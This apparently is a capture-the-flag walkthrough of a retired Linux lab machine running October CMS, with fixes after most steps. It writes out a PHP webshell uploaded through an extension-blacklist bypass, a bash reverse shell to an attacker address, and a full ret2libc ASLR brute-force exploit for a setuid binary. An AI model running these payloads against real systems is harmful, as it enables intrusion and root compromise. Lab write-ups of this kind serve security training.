← all walkthroughs

October

Linux· Medium
owned
2026-07-02
time to own
8m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an October CMS installation on the only exposed service (port 80) and authenticated to its admin backend using the unchanged factory-default credential. An authenticated file-upload bypass (CVE-2017-1000119) allowed a PHP webshell to be planted in the publicly reachable media directory by renaming it with the .php5 extension, which bypassed the CMS blacklist but was still executed by Apache as PHP.

The resulting remote code execution as the web-server account (www-data) gave direct read access to a world-readable user home directory for the first flag. Full system compromise followed when a custom setuid-root binary was found to contain a stack buffer overflow: a ret2libc payload using the target's own libc symbol offsets was brute-forced against the ASLR-randomised libc base in a tight loop until a random-address match caused the binary to execute /bin/sh as root.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork Service Discovery (T1046) / Active Scanning
Identified October CMS and its internet-facing admin backend
A service scan showed only one open port — TCP 80 running Apache 2.4.7 with PHP 5.5.9. The HTTP page title confirmed an October CMS installation. The admin backend login panel was directly reachable at /backend from the public internet with no IP restriction or additional authentication layer.
Nmap: '80/tcp open http Apache httpd 2.4.7 ((Ubuntu))'; http-title 'October CMS - Vanilla'; X-Powered-By: PHP/5.5.9-1ubuntu4.21
Exact commands 3
Identify web server version and CMS via HTTP response headers and page title.
nmap -sV -sC -p 80 $TARGET
Discover public exploits. Returns EDB-47376 (CVE-2017-1000119 — authenticated upload bypass) as the relevant hit.
searchsploit "October CMS"
Confirm the admin login panel is reachable unauthenticated from the network.
curl -sI http://$TARGET/backend/backend/auth/signin
2Initial AccessValid Accounts — Default Credentials (T1078.001)
Authenticated to the CMS admin backend with the default password
The October CMS administrator account had never had its factory-default password changed. Submitting the well-known default credential pair to the backend login form returned a session cookie and a redirect to the dashboard, granting full administrative access — including the media file manager used in the next step.
HTTP/1.1 302 Found Location: http://$TARGET/backend/backend — a session cookie
Exact commands 2
Fetch the login page and extract the embedded _session_key and CSRF _token values required by the form.
T="http://$TARGET"; J=$(mktemp); H=$(curl -sS -c "$J" "$T/backend/backend/auth/signin"); S=$(printf '%s' "$H" | grep -oP 'name="_session_key"[^>]*value="\K[^"]+' | head -1); K=$(printf '%s' "$H" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
Authenticate with default admin:[REDACTED: recovered credential]. A 302 redirect to /backend/backend and a new october_session cookie confirms successful login.
curl -sS -i -b "$J" -c "$J" -X POST "$T/backend/backend/auth/signin" --data-urlencode "_session_key=$S" --data-urlencode "_token=$K" --data-urlencode "postback=1" --data-urlencode "login=admin" --data-urlencode "password=$PASSWORD"
FixReplace the factory-default CMS administrator passwordCritical
WeaknessThe October CMS admin account was still using the factory-default credential (admin:[REDACTED: recovered credential]), which is publicly documented for this CMS. Any internet user who could reach the /backend URL could log directly into the admin panel and access every site function, including the media file manager that enabled the webshell upload.
FixChange the administrator password immediately to a unique, randomly generated passphrase of at least 16 characters. Enforce multi-factor authentication on all backend accounts. Restrict the /backend path to trusted internal IP addresses via an Apache Location block or upstream firewall rule so the login page is never reachable from the public internet. Review all other CMS user accounts for default or weak passwords.
3ExecutionServer Software Component — Web Shell (T1505.003) / CVE-2017-1000119
Bypassed the upload extension blacklist to plant a PHP webshell
October CMS blocked uploads ending in .php but not alternative PHP-executable extensions. A minimal PHP webshell was given the .php5 extension and uploaded via the authenticated backend media manager. Apache interpreted the stored file as PHP, creating a code-execution endpoint in the publicly accessible /storage/app/media/ directory.
{"link":"/storage/app/media/cmd_1782992676.php5","result":"success"}
Exact commands 2
Write a minimal PHP webshell locally. The .php5 extension is absent from the October CMS blacklist.
printf '<?php system($_GET["cmd"]); ?>' > /tmp/cmd.php5
Upload through the authenticated media manager. A JSON response containing 'result':'success' and a /storage/app/media/ path confirms the shell is live. The exact endpoint can be verified from EDB-47376.
curl -sS -b "$J" -c "$J" -X POST "http://$TARGET/backend/cms/media/upload" -F "file=@/tmp/cmd.php5;type=application/octet-stream" -F "path=/"
FixPatch October CMS and disable PHP execution inside the upload directoryCritical
WeaknessOctober CMS used an incomplete extension blacklist to block dangerous file uploads. The .php5 extension (and others such as .phtml and .phar) was absent from the blacklist and was still executed as PHP by Apache, allowing any authenticated backend user to upload and run arbitrary server-side code. This is tracked as CVE-2017-1000119.
FixUpdate October CMS to a release after October 2017, which replaces the blacklist with a safe allowlist of non-executable extensions. Independently of CMS version, add an Apache directive for the upload storage directory to prevent PHP execution regardless of extension: inside a Directory or Location block covering /var/www/html/cms/storage/app/media/, set php_admin_flag engine Off, Options -ExecCGI, and RemoveHandler for .php .php5 .phtml .phar .cgi. This defence-in-depth layer ensures uploaded files can never be executed as code even if a future CMS bypass is discovered.
4ExecutionCommand and Scripting Interpreter — PHP (T1059.007)
Confirmed remote code execution as the web-server account
An HTTP GET to the uploaded .php5 file with a ?cmd= parameter caused the server to run the supplied OS command and return its output. This confirmed arbitrary code execution under the www-data identity, with no additional authentication required beyond knowing the file's URL.
Uid=33(www-data) gid=33(www-data) groups=33(www-data) — HTTP 200 from webshell
Exact commands 1
Verify RCE context. Expected output: uid=33(www-data) gid=33(www-data).
curl -sS "http://$TARGET/storage/app/media/cmd.php5" --get --data-urlencode 'cmd=id'
5Command and ControlIngress Tool Transfer / Bash Reverse Shell (T1059.004)
Upgraded to an interactive reverse shell as www-data
The webshell was used to launch a bash reverse shell back to my machine, providing a fully interactive terminal session without the constraints of URL-encoding every command. After an initial attempt on port 4444 received no callback, a second attempt on port 4445 succeeded.
Www-data@october:/var/www/html/cms/storage/app/media — reverse shell landed on port 4445
Exact commands 2
Start a listener on my machine ($ATTACKER_IP) before triggering the callback.
nc -lvnp 4445
Trigger the bash reverse shell. A connection appears in the nc listener as www-data.
curl -sS "http://$TARGET/storage/app/media/cmd.php5" --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1"'
6CollectionData from Local System (T1005)
Read the user flag directly from a world-readable home directory
The home directory of local user harry was world-readable, so the www-data process could open /home/harry/user.txt without any credential theft or account switching. The first flag was captured at this point with no further privilege escalation.
/home/harry/user.txt accessible as uid=33 (www-data); user flag captured without lateral movement to harry's account
Exact commands 2
Confirm world-readable permissions on harry's home directory and user.txt.
ls -la /home/harry/
Read the user flag as www-data. Value: <user.txt>.
cat /home/harry/user.txt
FixRestrict home directory permissions to prevent cross-account file accessMedium
WeaknessThe home directory /home/harry and its files were world-readable. Any local process on the system — including the compromised web-server account www-data — could open and read those files without cracking harry's password or performing any further privilege escalation step.
FixSet all user home directories to mode 750 (chmod 750 /home/harry) so only the owner and their primary group can read them. Audit existing directories with: find /home -maxdepth 1 -perm -o+r -type d. Ensure sensitive files inside (SSH private keys, password stores) are set to 600. Configure the system's user-creation tooling (adduser.conf DIR_MODE or pam_mkhomedir umask) so that newly created accounts inherit the restrictive permissions automatically.
7DiscoveryFile and Directory Discovery (T1083) / SUID Enumeration
Located a custom setuid-root binary with no exploit mitigations
A standard SUID sweep returned /usr/local/bin/ovrflw — a custom 32-bit dynamically linked ELF binary owned by root with the setuid bit set. The binary accepted console input without bounds checking and was compiled without stack canaries or a non-executable stack. Kernel ASLR was confirmed active but, in a 32-bit process, provides only about 65 000 random page-aligned candidates for the libc base — a range small enough to brute-force in seconds.
Exact commands 3
Enumerate every SUID binary on the filesystem.
find / -xdev -perm -4000 -type f 2>/dev/null | sort
Confirm 32-bit ELF, dynamic linking, and resolve the runtime path to libc.so.6.
file /usr/local/bin/ovrflw && ldd /usr/local/bin/ovrflw
Check ASLR state. A value of 2 means full address randomisation is active.
cat /proc/sys/kernel/randomize_va_space
8Privilege EscalationExploitation for Privilege Escalation — Stack Buffer Overflow / ret2libc / ASLR Brute Force (T1068)
Exploited the SUID buffer overflow via ret2libc and ASLR brute force to gain a root shell
The ovrflw binary's input buffer overflowed its stack frame after 112 bytes, giving control of the saved return address. With no canary or NX to bypass, my built a ret2libc payload: 112 junk bytes followed by the addresses of system(), exit(), and '/bin/sh' — each calculated as a fixed offset from a guessed libc base. Because no memory-leak gadget was available to defeat ASLR, the payload was fired in a loop with incrementing page-aligned base guesses. When the guess matched the live randomised base, ovrflw executed system('/bin/sh') under its root SUID context, yielding a root shell.
OFFSET=112; system@@GLIBC_2.0=0x40310, exit@@GLIBC_2.0=0x33260, /bin/sh=0x162bac in /lib/i386-linux-gnu/libc.so.6; root shell achieved via loop starting at base 0xb73d0000
Exact commands 6
Extract the symbol file-offsets for system() and exit() from the target's own libc.
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' (system|exit)@@'
Get the file-offset of the /bin/sh string within libc.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' | head -1
Write the brute-force ret2libc exploit. Adjust the starting base if the loop does not converge within ~65 000 iterations.
cat > /tmp/ovr2.py << 'EOF'
import struct, subprocess, sys
OFFSET   = 112
SYS_OFF  = 0x40310
EXIT_OFF = 0x33260
BSH_OFF  = 0x162bac
base = 0xb73d0000
while True:
    pay  = b'A' * OFFSET
    pay += struct.pack('<I', base + SYS_OFF)
    pay += struct.pack('<I', base + EXIT_OFF)
    pay += struct.pack('<I', base + BSH_OFF)
    p = subprocess.Popen(['/usr/local/bin/ovrflw'],
                         stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    out, _ = p.communicate(pay)
    if p.returncode == 0:
        sys.stdout.write(out.decode('utf-8', errors='replace'))
        sys.stdout.flush()
        break
    base += 0x1000
EOF
Run the exploit in the background; redirect root-shell output to a web-accessible path so it can be polled via HTTP.
nohup python2 /tmp/ovr2.py > /var/www/html/cms/storage/app/media/rootout.txt 2>&1 &
Poll for results. A non-empty file confirms the loop succeeded and root-context output is captured.
curl -sS "http://$TARGET/storage/app/media/rootout.txt" | tail -20
Read the root flag once root shell access is confirmed. Value: <root.txt>.
cat /root/root.txt
FixRemove the vulnerable SUID binary and apply modern compile-time hardeningCritical
WeaknessThe custom binary /usr/local/bin/ovrflw was installed with the setuid-root bit and compiled without stack canaries, NX (non-executable stack), or PIE. A trivial input overflow was sufficient to hijack its control flow and, via ret2libc, run arbitrary code as root. The only remaining mitigation — kernel ASLR — was defeated by brute force within seconds because the 32-bit virtual address space contains only about 65 000 page-aligned candidates for the libc base.
FixImmediately strip the SUID bit: chmod u-s /usr/local/bin/ovrflw. If the binary genuinely requires elevated capability, grant it through a tightly scoped sudo rule instead of SUID. If it must remain a SUID binary, recompile with full modern protections: gcc -fstack-protector-strong -z noexecstack -z relro -z now -fPIE -pie. Audit SUID binaries on a quarterly schedule: find / -xdev -perm -4000 -type f 2>/dev/null | sort — and investigate any custom or unexpected entries immediately.

Attack patterns used

The transferable techniques behind this compromise.

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

80/tcp